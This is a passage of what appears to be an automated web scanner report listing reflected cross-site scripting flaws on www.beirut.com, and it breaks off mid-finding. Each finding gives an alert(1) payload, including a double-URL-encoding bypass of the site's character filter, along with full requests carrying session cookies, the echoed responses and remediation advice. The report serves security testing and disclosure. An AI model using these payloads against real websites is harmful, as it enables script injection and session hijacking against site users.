HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:30:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Hotels3ee6a"><a>0a6867e450c"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c1ea'-alert(1)-'18dc956b014 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels/4-Stars6c1ea'-alert(1)-'18dc956b014/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:43:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Hotels/4-Stars6c1ea'-alert(1)-'18dc956b014'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f45f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e0d15868f5 was submitted in the REST URL parameter 3. This input was echoed as f45f3"><script>alert(1)</script>9e0d15868f5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Hotels/4-Stars/4f45f3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e0d15868f5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:47:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55021
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=Hotels&listingtype=locales.php&Types=4f45f3"><script>alert(1)</script>9e0d15868f5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2de3c"><a>335baf5011d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Hotels2de3c"><a>335baf5011d/5-Stars/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:31:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60505
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Hotels2de3c"><a>335baf5011d"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3ae6'-alert(1)-'e50985d440 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotelsb3ae6'-alert(1)-'e50985d440/5-Stars/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:42:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60912
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Hotelsb3ae6'-alert(1)-'e50985d440/5-Stars'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ded21'-alert(1)-'cc45cd03f80 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels/5-Starsded21'-alert(1)-'cc45cd03f80/5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:46:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Hotels/5-Starsded21'-alert(1)-'cc45cd03f80'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d0a5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef43175ac564 was submitted in the REST URL parameter 3. This input was echoed as 6d0a5"><script>alert(1)</script>f43175ac564 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Hotels/5-Stars/56d0a5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef43175ac564 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:50:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55148
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=Hotels&listingtype=locales.php&Types=56d0a5"><script>alert(1)</script>f43175ac564"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d47bf'-alert(1)-'efcc76bb9a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Indexd47bf'-alert(1)-'efcc76bb9a4/Error HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Indexd47bf'-alert(1)-'efcc76bb9a4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a3da"><a>340a7ec5325 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Index4a3da"><a>340a7ec5325/Error HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c86e"><a>1669927877e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /JustForKids5c86e"><a>1669927877e/Educational/9-service HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:54:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60695
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="JustForKids5c86e"><a>1669927877e"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 28d50'-alert(1)-'2b48b6f7343 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /JustForKids28d50'-alert(1)-'2b48b6f7343/Educational/9-service HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:03:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60702
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='JustForKids28d50'-alert(1)-'2b48b6f7343'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 426d9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7dd67e3cf0 was submitted in the REST URL parameter 3. This input was echoed as 426d9"><script>alert(1)</script>7dd67e3cf0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /JustForKids/Educational/9-service426d9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7dd67e3cf0 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:11:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54355
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=JustForKids&listingtype=justforkids.php&Types=9-service426d9"><script>alert(1)</script>7dd67e3cf0"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1164'-alert(1)-'8498d5bb334 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /JustForKidse1164'-alert(1)-'8498d5bb334/Gatherings/14-event HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:13:43 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60709
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='JustForKidse1164'-alert(1)-'8498d5bb334'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13a67"><a>36c4cb2e963 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /JustForKids13a67"><a>36c4cb2e963/Gatherings/14-event HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:04:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="JustForKids13a67"><a>36c4cb2e963"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df290%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d5624aa6d5 was submitted in the REST URL parameter 3. This input was echoed as df290"><script>alert(1)</script>1d5624aa6d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /JustForKids/Gatherings/14-eventdf290%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d5624aa6d5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:23:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=JustForKids&listingtype=justforkids.php&Types=14-eventdf290"><script>alert(1)</script>1d5624aa6d5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 973ad'-alert(1)-'ed30901e052 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
